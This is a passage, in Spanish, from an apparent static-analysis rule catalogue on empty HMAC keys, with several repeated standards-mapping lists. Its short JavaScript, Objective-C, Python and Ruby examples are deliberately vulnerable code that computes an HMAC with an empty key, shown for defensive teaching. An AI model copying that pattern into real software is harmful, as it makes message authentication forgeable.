[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.
Ejemplo 1: El siguiente código utiliza una HMAC vacía para generar el hash de HMAC:

...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...


Puede ser que el código del Ejemplo 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.

Ejemplo 1: El siguiente código utiliza una clave vacía para el cálculo de HMAC:


...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...


Puede ser que el código del Example 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.

Ejemplo 1: el siguiente código utiliza una clave vacía para el cálculo de HMAC:


import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...


Puede ser que el código del Example 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.

Ejemplo 1: El siguiente código utiliza una clave vacía para el cálculo de HMAC:

...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...


Puede ser que el código del Example 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
